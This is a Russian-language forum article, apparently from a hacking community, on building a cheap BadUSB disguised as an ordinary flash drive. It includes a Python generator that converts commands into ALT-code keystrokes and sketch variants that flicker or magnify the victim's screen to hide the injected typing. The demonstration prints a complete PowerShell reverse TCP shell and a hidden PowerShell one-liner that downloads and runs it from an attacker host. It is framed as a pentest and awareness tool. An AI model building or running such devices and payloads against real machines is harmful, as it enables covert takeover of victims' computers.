Всем привет!
Представляю вашему вниманию статью из разряда “очумелые ручки”.
С помощьюпластиковых бутылок платы с микроконтроллером Atmega32u4 и паяльника сделаем BadUSB.
Вот ссылки на статьи об устройстве BadUSB на нашем форуме, при разработке я их активно использовал и перерабатывал под свои нужды. Всем авторам и комментаторам спасибо.
codeby.net
codeby.net
codeby.net
codeby.net
Да, возможно, кого-то тема BadUSB уже подзадолбала, но я давно хотел смастерить девайс, реально похожий на флешку и не стоящий 50 баксов, как оригинальное устройство от Hak5.
(Оригинальное устройство от Hak5)
На выходе мы получим аккуратное устройство, похожее на флешку, имеющее на борту достаточно памяти, чтобы набрать shell-код с помощью ALT-кодов.
Короче говоря - дешево, красиво, эффективно (ну, насколько это может позволить BadUSB).
(Вот такое устройство у нас получится)
Себестоимость нашего устройства выйдет долларов в 6-7 без доставки компонентов и без стоимости оборудования.
Необходимые инструменты:
Итак, использовать в своемрукоблудстве рукожопстве проекте я буду плату, которую на просторах алиэкспресса называют Mini SS Micro.
Плата имеет интересный форм-фактор, маленький размер и на борту распаян микроконтроллер Atmega32U4.
Почему для устройства я выбрал плату Mini SS Micro:
(Mini SS Micro vs. Pro Micro)
Далее приведу размеры внутреннего пространства выбранного типа флешки:
(Богатый внутренний мир донорской флешки)
Заканчиваем с описанием и начинаем работать руками, а потом головой.
Берём плату и ножницы по металлу и первыми делом с отрезаем боковые части в области отверстий под пайку.
Далее аккуратно шлифуем напильником с двух сторон, до момента, пока плата не влезет во флешку.
К сожалению, я нигде не смог найти в интернете схему этой чудо-платы, чтобы точно сказать, до какого места можно шлифовать.
Однако, когда я делал своё устройство, то я старался ориентироваться на шелкографию отверстий под пайку, оставляя нетронутой часть, как показано на изображении ниже.
(Красным отмечены линии реза и последующей шлифовки)
Следующим шагом отрезаем переднюю часть платы, чтобы дорожки для подключения платы к USB были ровные и их было удобнее паять к разъему USB Type-A (не понимаю, почему китайцы их сделали разными
)
Теперь достаём паяльник, флюс и начинаем паять (я использовал глицин и какой-то китайский припой).
Примеряем внешний разъем USB Type-A к нашей плате, совсем чуть-чуть лудим контакты на плате и контакты на разъеме.
Далее накладываем их друг на друга и припаиваем, получается аккуратно и относительно крепко.
(Для желающих погрузиться в сферу пайки крайне рекомендую вот эту серию видео, но вообще на просторах интернета полно информации про пайку, главное в этом деле больше практики)
(Плата после пайки с флюсом выглядит крайне не привлекательно)
Не забываем отмыть флюс! Да, глицин ,вроде, не вызывает сильной коррозии на контактах и не коротит, но выглядит плата неаккуратно, и почистить плату лишним никогда не будет.
(Плата выглядит уже лучше)
Далее, можем примерить получившееся устройство в корпус от флешки, и, если всё устраивает, то я рекомендую посадить плату в корпус флешки на клей (я посадил нагорячие сопли термоклей и он держит отлично).
Так получилось, что пока комплектующие добирались до меня, участник форума (elrock) успел меня опередить и написать статью об использовании ALT-кодов для ввода команд латиницей при любой раскладке клавиатуры.
Поэтому особо не буду вдаваться в подробности работы контроллера с ALT кодами, ссылка на статью указана в начале поста (Учим BadUSB работать с разными раскладками клавиатуры).
Я же для себя подготовил простой скрипт на Python, который сначала переводит символы из строки в код символа, согласно ASCII таблице. Далее код каждого символа преобразуется в последовательность нажатий клавиш на NumPad при нажатой кнопке ALT.
(Дружелюбный интерфейс скрипта)
Команды можно вводить последовательно, главное - после ввода всех команд нажать CTRL+C, чтобы скрипт корректно сохранил код нашей функции в файл payload.txt
После подготовки кода "полезной нагрузки" нам остаётся его скопировать из файла payload.txt и вставить в наш скетч.
Я долго размышлял над вариантами отвлечения внимания пользователя компьютера во время набора команд.
В своё время были мысли сделать скетч, который куртил-вертел изображения экрана с помощью горячих клавиш WIndows, но эту фишку убрали.
Однако я нашёл ещё один вариант: с помощью комбинации клавиш WIN+CTRL+SHIFT+B мы можем перезагрузить видеодрайвер, экран погаснет секунды на 2, но возможность вводить текст с клавиатуры в это время не будет заблокировано. Поэтому я подготовил 4 варианта скетча:
(Если не получим доступ к компьютеру, то хотя бы вызовем у жертвы мигрень!)
(Плохо видно, можно покрупнее???)
(Выглядит уже интереснее)
(Может, кто-то будет очень долго моргать и не заметит?)
Все приложенные скрипты это - один и тот же скрипт, в котором присутствуют или отсутствуют комментарии некоторых строк кода и изменены тайминги задержек.
Также в коде, в разделе setup(), есть 2 закомментированные строки. Они отвечают за нажатие кнопки NumLock и повторное выполнение кода.
Существует вероятность, что NumLock будет отключен, и тогда все наши ALT-коды не сработают, поэтому можно продублировать выполнение кода после включения NumLock.
Для себя я эти строки закомментировал, но вы можете их раскомментировать.
(Project.zip прикреплен в конце этого поста)
В качестве демонстрации я записал короткие видеоролики, на них показаны 2 виртуальные машины. Одна - с Win 10, другая - с Kali Linux.
На Kali у нас запущен listener на порту 7997 и веб-сервер, на котором лежит текстовый файл, который содержит в себе reverse shell, написанный на PowerShell.
В качестве «полезной нагрузки» для нашего устройства мы будем использовать следующую команду:
Демонстрации подготовки «полезной нагрузки» и прошивки устройства
Демонстрации применения готового устройства, виртуальная машина немного лагала, на живой системе всё отрабатывает быстрее.
Оригинальноя Rubber Ducky от Hak5 используется свой синтаксис , но, при желании и небольшом старании, в нём можно быстро разобраться и переписать готовые скрипты для уточки в формат выполнения кода под наше устройство.
Payloads оригинальной уточки можно найти тут.
Я доволен результатом, готовое устройство мне нравится, выглядит хорошо, визуально не отличается от флешки.
Параноиков, вскрывающих флешки перед их использованием, я никогда не встречал, поэтому это может быть интересный и относительно дешевый инструмент для пентестов или использоваться для аудита осведомленности сотрудников (об этом я расскажу в следующей статье).
На просторах алиэкспресcа мной также были найдены альтернативные варианты BadUSB:
Но, будем честны друг с другом, BadUSB имеет минусы, и не маленькие. Главный минус заключается в том, что любое нажатие на обычной клавиатуре, во время ввода команды устройством, с 95% вероятностью сломает "полезную нагрузку", и мы останемсяс дырявым ведром у разбитого корыта.
Всем дочитавшим до конца спасибо за внимание!
P.S. Изначально, работая над этим проектом, я хотел использовать DigiSpark с Attyny85, но всё упёрлось в недостаток памяти на микроконтроллере.
Представляю вашему вниманию статью из разряда “очумелые ручки”.
С помощью
Вот ссылки на статьи об устройстве BadUSB на нашем форуме, при разработке я их активно использовал и перерабатывал под свои нужды. Всем авторам и комментаторам спасибо.
Digispark - badusb за 1$
Хочу рассказать о младшем (возможно даже отсталом и ущербном) брате Rubber Ducky - DigiSpark.
Bad USB на ATtiny 85
Всем привет. Представляю вам Bad USB на ATtiny 85. Разработчик -== Yukinoshita47/megumi-san-bad-usb Проект USB BAD или более известный как Ducky Rubber USB. Megumum usb bad - это проект, ориентированный на аппаратное хакерство от Garuda Security Hackers. Оборудование может быть...
Bad Usb или как я уток разводил, Практическое пособие по Rubber Duck
Дали им звучное имя Rubber Duck. Как Вы догадались, эта порода уток ни что иное, как Bad Usb.
Учим BadUSB работать с разными раскладками клавиатуры
Заглавие Всем доброго времени суток, о BadUsb, Usb Rubber Ducky и о том, как самому сделать аналог данного устройства написано уже много статей. В этой же статье мы рассмотрим решение проблемы BadUsb при работе с разными раскладками клавиатуры. В качестве инструкции по созданию своего BadUsb...
Введение
Да, возможно, кого-то тема BadUSB уже подзадолбала, но я давно хотел смастерить девайс, реально похожий на флешку и не стоящий 50 баксов, как оригинальное устройство от Hak5.
(Оригинальное устройство от Hak5)
Короче говоря - дешево, красиво, эффективно (ну, насколько это может позволить BadUSB).
(Вот такое устройство у нас получится)
Себестоимость нашего устройства выйдет долларов в 6-7 без доставки компонентов и без стоимости оборудования.
Подготовка
Необходимые инструменты:
- Ножницы по металлу (они позволят нам меньше работать напильником);
- Напильник;
- Паяльник, флюс, припой;
- Спирт (отмывать плату от флюса, не употреблять внутрь);
- Руки (если руки золотые, то неважно, откуда они растут)
- Плата с микроконтроллером Atmega32u4;
- Флешка, которую мы распотрошим и будем использовать от неё корпус;
- USB Type-A разъём, чтобы устройство выглядело убедительно и была похожа на настоящую (я рекомендую разъемы с небольшими хвостиками, а не под пайку проводов).
Ссылка скрыта от гостей
Ссылка скрыта от гостей
Ссылка скрыта от гостей
Итак, использовать в своем
Плата имеет интересный форм-фактор, маленький размер и на борту распаян микроконтроллер Atmega32U4.
Также, на алиэкспрессе я встретил плату Beetle Leonardo, которая стоит на 1 доллар дороже (4.5 бакса),
(Beetle Leonardo здорового человека)
но онастала жертвой моих рук из ж… погибла смертью храбрых при попытке уменьшить её размер и запихнуть в корпус флешки.
(Beetle Leonardo курильщика)
(Beetle Leonardo здорового человека)
но она
(Beetle Leonardo курильщика)
Почему для устройства я выбрал плату Mini SS Micro:
- Она дешёвая и на ней установлен микроконтроллер, позволяющий эмулировать клавиатуру;
- В ней в 4,5 раза больше памяти, чем в Digispark (28 Кб ATmega32u4 против 6 Кб Attiny85 (значения после вычета загрузчика));
- Размер платы (длина 30-мм , ширина 20-мм, плюс эти размеры можно ещё уменьшить), если подработать напильником - влезет в стандартный корпус флешки;
- Именно из-за размеров я не выбрал плату Arduino Pro Micro, у неё длина 35-мм и уменьшить этот размер нет никакой возможности;
- Разъем формата USB Type-A, (удобнее паять, чем Micro usb).
(Mini SS Micro vs. Pro Micro)
Далее приведу размеры внутреннего пространства выбранного типа флешки:
- Ширина - 16.44 мм;
- Длина до стоек - 27,1 мм;
- Длина до начала закругления - 32.4 мм.
(Богатый внутренний мир донорской флешки)
Заканчиваем с описанием и начинаем работать руками, а потом головой.
Собираем устройство
Берём плату и ножницы по металлу и первыми делом с отрезаем боковые части в области отверстий под пайку.
Далее аккуратно шлифуем напильником с двух сторон, до момента, пока плата не влезет во флешку.
К сожалению, я нигде не смог найти в интернете схему этой чудо-платы, чтобы точно сказать, до какого места можно шлифовать.
Однако, когда я делал своё устройство, то я старался ориентироваться на шелкографию отверстий под пайку, оставляя нетронутой часть, как показано на изображении ниже.
(Красным отмечены линии реза и последующей шлифовки)

Теперь достаём паяльник, флюс и начинаем паять (я использовал глицин и какой-то китайский припой).
Примеряем внешний разъем USB Type-A к нашей плате, совсем чуть-чуть лудим контакты на плате и контакты на разъеме.
Далее накладываем их друг на друга и припаиваем, получается аккуратно и относительно крепко.
(Для желающих погрузиться в сферу пайки крайне рекомендую вот эту серию видео, но вообще на просторах интернета полно информации про пайку, главное в этом деле больше практики)
(Плата после пайки с флюсом выглядит крайне не привлекательно)
Не забываем отмыть флюс! Да, глицин ,вроде, не вызывает сильной коррозии на контактах и не коротит, но выглядит плата неаккуратно, и почистить плату лишним никогда не будет.
(Плата выглядит уже лучше)
Далее, можем примерить получившееся устройство в корпус от флешки, и, если всё устраивает, то я рекомендую посадить плату в корпус флешки на клей (я посадил на
Программируем наше устройство
Так получилось, что пока комплектующие добирались до меня, участник форума (elrock) успел меня опередить и написать статью об использовании ALT-кодов для ввода команд латиницей при любой раскладке клавиатуры.
Поэтому особо не буду вдаваться в подробности работы контроллера с ALT кодами, ссылка на статью указана в начале поста (Учим BadUSB работать с разными раскладками клавиатуры).
Я же для себя подготовил простой скрипт на Python, который сначала переводит символы из строки в код символа, согласно ASCII таблице. Далее код каждого символа преобразуется в последовательность нажатий клавиш на NumPad при нажатой кнопке ALT.
(Дружелюбный интерфейс скрипта)
Python:
# На оптимальность кода не претендую, я ещё тот лошара в Python, но задачу он свою выполняет.
# Когда попаду в Gray Team запишусь на Курс «Python для Пентестера»)))
import sys
print ("\nBad_ArdUSBino payload generator")
print ("You can enter multiple commands line by line")
print ("They will be converted to alt codes and saved to 'payload.txt' file")
print ("Paste this playload function to arduino scetch and it will work with any keyboard layout!")
numpadCodes = [234,225,226,227,228,229,230,231,232,233,234]
f = open('payload.txt', 'w')
f.write("void payload()\n{")
loop = 1
while loop > 0:
try:
y = 0
cmd = input("\nEnter the string (CTRL+C for save and exit): ")
f = open('payload.txt', "a")
if (loop != 1):
f.write("\n delay(500);\n")
f.write("\n //command: {}\n".format(cmd))
print ("")
code = list(bytes(cmd, encoding="ascii"))
print ("ASCII code for string =",code)
print ("")
for i in code:
if i > 99 :
i31 = i // 100
i32 = i // 10 % 10
i33 = i % 10
i31 = numpadCodes[i31]
i32 = numpadCodes[i32]
i33 = numpadCodes[i33]
print ("altRun3({},{},{});".format(i31,i32,i33))
s = " altRun3({},{},{});\n".format(i31,i32,i33)
f.write(str(s))
else:
if i > 9:
i21 = i // 10 % 10
i22 = i % 10
i21 = numpadCodes[i21]
i22 = numpadCodes[i22]
print ("altRun2({},{});".format(i21,i22))
s=" altRun2({},{});\n".format(i21,i22)
f.write(str(s))
else:
i11 = i
i11 = numpadCodes[i11]
print ("altRun1({});".format(i11))
s = " altRun1({});\n".format(i11)
f.write(str(s))
if (y == 20):
print ("blinkScreen();")
s = " blinkScreen();\n"
f.write(str(s))
y = 0
y += 1
print ("delay(50);")
s = " delay(50);\n"
f.write(str(s))
print ("typeKey(KEY_RETURN);")
s = " typeKey(KEY_RETURN);\n"
f.write(str(s))
f.close()
loop += 1
except KeyboardInterrupt:
print ("\n\nAll saved to 'payload.txt'")
print ("Have a nice day!")
f = open('payload.txt', "a")
f.write("}")
f.close()
sys.exit()
После подготовки кода "полезной нагрузки" нам остаётся его скопировать из файла payload.txt и вставить в наш скетч.
Я долго размышлял над вариантами отвлечения внимания пользователя компьютера во время набора команд.
В своё время были мысли сделать скетч, который куртил-вертел изображения экрана с помощью горячих клавиш WIndows, но эту фишку убрали.
Однако я нашёл ещё один вариант: с помощью комбинации клавиш WIN+CTRL+SHIFT+B мы можем перезагрузить видеодрайвер, экран погаснет секунды на 2, но возможность вводить текст с клавиатуры в это время не будет заблокировано. Поэтому я подготовил 4 варианта скетча:
1. Первый скетч - «Привет, эпилептик!».
Через каждые 15 символов ввода мы будем перезагружать видеодрайвер, и экран будет «весело» моргать.
После ввода «полезной нагрузки» устройство блокируем комп.
Да, это не очень сильно осложнит восприятие ввода команды, будет крайне подозрительно, но оставим и такой вариант. Вдруг у пользователя частота моргания глаз войдёт в резонанс с частотой моргания экрана, тогда он точно ничего не увидит

(Если не получим доступ к компьютеру, то хотя бы вызовем у жертвы мигрень!)
2. Второй скетч - «Чешский крот».
Перед началом выполнения «полезной нагрузки» мы с помощью горячих клавиш Windows 10 включаем экранную лупу и максимально приближаем изображение.
При вводе текста нашим устройством лупа переместится к экрану ввода, но увидеть можно будет только часть окна.
После завершения ввода мы отключаем экранную лупу и блокируем комп.
(Плохо видно, можно покрупнее???)
3. Третий скетч является комбинацией первого и второго скетча, он получит кодовое название «Крот-эпилептик».
Как понятно из названия, мы включаем экранную лупу, и через каждые 15 символов ввода мы будем перезагружать видеодрайвер для моргания экраном.
После завершения ввода команды - выключаем экранную лупу и блокируем комп.
(Выглядит уже интереснее)
4. Скетч “Блиц-скорость без границ”. В этом варианте наше устройство будет просто быстро набирает команду, а потом заблокирует комп. Скучно, но работает.
(Может, кто-то будет очень долго моргать и не заметит?)
Все приложенные скрипты это - один и тот же скрипт, в котором присутствуют или отсутствуют комментарии некоторых строк кода и изменены тайминги задержек.
Также в коде, в разделе setup(), есть 2 закомментированные строки. Они отвечают за нажатие кнопки NumLock и повторное выполнение кода.
Существует вероятность, что NumLock будет отключен, и тогда все наши ALT-коды не сработают, поэтому можно продублировать выполнение кода после включения NumLock.
Для себя я эти строки закомментировал, но вы можете их раскомментировать.
(Project.zip прикреплен в конце этого поста)
Переходим к демонстрации
В качестве демонстрации я записал короткие видеоролики, на них показаны 2 виртуальные машины. Одна - с Win 10, другая - с Kali Linux.
На Kali у нас запущен listener на порту 7997 и веб-сервер, на котором лежит текстовый файл, который содержит в себе reverse shell, написанный на PowerShell.
Код:
<#
.AUTHOR
0x10F8
.SYNOPSIS
Allows a device running powershell capable windows to connect to a remote server and
interpret commands from this server as commands on the device (reverse tcp shell).
.EXAMPLE
Connect back to the reverse shell server
PS C:\> .\reverse_tcp.ps1 -s 127.0.0.1 -p 9001
If you want to debug the script the verbose option will output a lot of info during running
#>
$server = "172.16.0.11"
$port = 7997
# Read the required parameters
#Param (
# [Parameter(Mandatory = $true)] [string] [ValidateNotNullOrEmpty()] [Alias('s')] $server,
# [Parameter(Mandatory = $true)] [int] [ValidateNotNullOrEmpty()] [Alias('p')] $port
#)
$WAIT_MS = 500 # Time (ms) to wait between reads from the tcp socket
function Get-Connection-State([System.Net.Sockets.TcpClient] $connection) {
<#
.Description
Gets the connection state for the TcpClient object given.
The response will be a System.Net.NetworkInformation.TCPState object
#>
$connection_props = [System.Net.NetworkInformation.IPGlobalProperties]::
GetIPGlobalProperties().GetActiveTcpConnections().Where( {
$_.LocalEndPoint -eq $connection.Client.LocalEndPoint -and $_.RemoteEndPoint -eq $connection.Client.RemoteEndPoint
})
return $connection_props.State
}
function Invoke-Cmd([string] $command) {
<#
.Description
Invokes the command given and returns the response as a string
#>
$response = ""
if ($command) {
Write-Verbose "Recieved command: $command"
try {
# Encode the command as base64 and send to powershell
# This seems to solve some issues around formatting and escaping
$commandbytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$base64command = [System.Convert]::ToBase64String($commandbytes)
$response = &powershell.exe -EncodedCommand "$base64command" 2>&1 | Out-String
}
catch {
$response = $error[0]
}
Write-Verbose "The response: $response"
}
return $response
}
Write-Verbose "Connecting to server $server on port $port"
# Create the TCP connection and setup readers and writers
$connection = New-Object System.Net.Sockets.TcpClient($server, $port)
$stream = $connection.GetStream()
$reader = New-Object System.IO.StreamReader($stream)
$writer = New-Object System.IO.StreamWriter($stream)
$writer.AutoFlush = $true
# Start read/write loop
$connected = $true
while ($connected) {
# Read command
if ($stream.DataAvailable) {
$request = $reader.ReadLine()
}
# Handle command
$response = Invoke-Cmd $request
if ($response) {
$writer.Write($response)
}
# Check if the remote server disconnected
$connection_state = Get-Connection-State $connection
$connected = ($connection_state -eq [System.Net.NetworkInformation.TCPState]::Established)
# Reset request/response vars
$request = ""
$response = ""
# Wait a short time before the next read/write loop
start-sleep -Milliseconds $WAIT_MS
}
# Disconnect
Write-Verbose "Disconnected from server $server"
$reader.Close()
$writer.Close()
$connection.Close()
В качестве «полезной нагрузки» для нашего устройства мы будем использовать следующую команду:
Код:
powershell -NoProfile -WindowStyle Hidden -c "IEX((new-object system.net.webclient).downloadstring('http://172.16.0.11/1.txt'))"
Демонстрации подготовки «полезной нагрузки» и прошивки устройства
Демонстрации применения готового устройства, виртуальная машина немного лагала, на живой системе всё отрабатывает быстрее.
Оригинальноя Rubber Ducky от Hak5 используется свой синтаксис , но, при желании и небольшом старании, в нём можно быстро разобраться и переписать готовые скрипты для уточки в формат выполнения кода под наше устройство.
Payloads оригинальной уточки можно найти тут.
Заключение
Я доволен результатом, готовое устройство мне нравится, выглядит хорошо, визуально не отличается от флешки.
Параноиков, вскрывающих флешки перед их использованием, я никогда не встречал, поэтому это может быть интересный и относительно дешевый инструмент для пентестов или использоваться для аудита осведомленности сотрудников (об этом я расскажу в следующей статье).
На просторах алиэкспресcа мной также были найдены альтернативные варианты BadUSB:
В виде флешки, они так же собраны на базе контроллера Atmega32u4.
Цена 7-10 баксов за штуку
Копия Rubber Ducky с возможностью использования скетчей с карты памяти, но без корпуса.
Так же собраны на базе контроллера Atmega32u4.
Цена около 10 баксов
Цена 7-10 баксов за штуку
Копия Rubber Ducky с возможностью использования скетчей с карты памяти, но без корпуса.
Так же собраны на базе контроллера Atmega32u4.
Цена около 10 баксов
Но, будем честны друг с другом, BadUSB имеет минусы, и не маленькие. Главный минус заключается в том, что любое нажатие на обычной клавиатуре, во время ввода команды устройством, с 95% вероятностью сломает "полезную нагрузку", и мы останемся
Всем дочитавшим до конца спасибо за внимание!
P.S. Изначально, работая над этим проектом, я хотел использовать DigiSpark с Attyny85, но всё упёрлось в недостаток памяти на микроконтроллере.
Вложения
Последнее редактирование модератором: